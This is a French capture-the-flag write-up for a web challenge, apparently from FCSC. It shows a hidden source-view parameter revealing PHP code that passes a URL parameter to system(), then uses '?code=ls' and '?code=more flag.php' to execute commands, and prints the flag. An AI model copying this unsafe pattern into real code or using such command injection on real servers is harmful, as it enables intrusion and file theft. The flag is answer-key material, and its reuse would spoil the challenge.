Babel Web
docker compose up # Démarre un process web sur le port 8000
http://localhost:8000
On arrive sur une page web qui ne présente que du texte. Aucun autre contenu ou lien visible.
En contrôlant les sources de la page on peut voir le commentaire suivant:
<!-- <a href="?source=1">source</a> -->
Un lien ajoutant un paramètre à la page est donc prévu, mais caché.
http://localhost:8000/?source=1
On affiche donc le code source complet de la page et on voit apparaître les sources PHP suivantes:
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
Donc si dans les paramètres url, le paramètre “source” existe, on fait appel à la fonction show_source pour afficher une version colorisé du contenu du fichier script actuellement executé (certainement index.php par convention).
On voit aussi que si le paramètre source n’existe pas mais que le paramètre code existe, on peut lui passer une valeur qui sera passé à la fonction system qui permet d’éxécuter un commande serveur. Essayons d’injecter une commande simple ls
pour lister les fichiers présents dans le répertoire du script. Je part du principe que je suis sur un système unix, si les commandes unix crashent je testerais avec des commandes propres à d’autres systèmes.
http://localhost:8000/?code=ls
- flag.php
- index.php
Bingo! Le fichier flag.php est certainement le fichier qui contient le flag que nous cherchons, essayons d’afficher son contenu.
http://localhost:8000/?code=cat%20flag.php
Déception, cette commande ne fonctionne pas, mais d’autres commandes pour afficher le contenu du fichier existent:
- cat
- head
- tail
- more
- less
- tac
- grep
Testons les pour voir si l’une d’elles fonctionnent.
http://localhost:8000/?code=more%20flag.php
Encore un bingo! Du texte s’affiche, mais toujours pas de flag. Mais heureusement une visite des sources de la page va mettre en avant le code suivant:
<?php
$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>
Nous pouvons valider cette épreuve!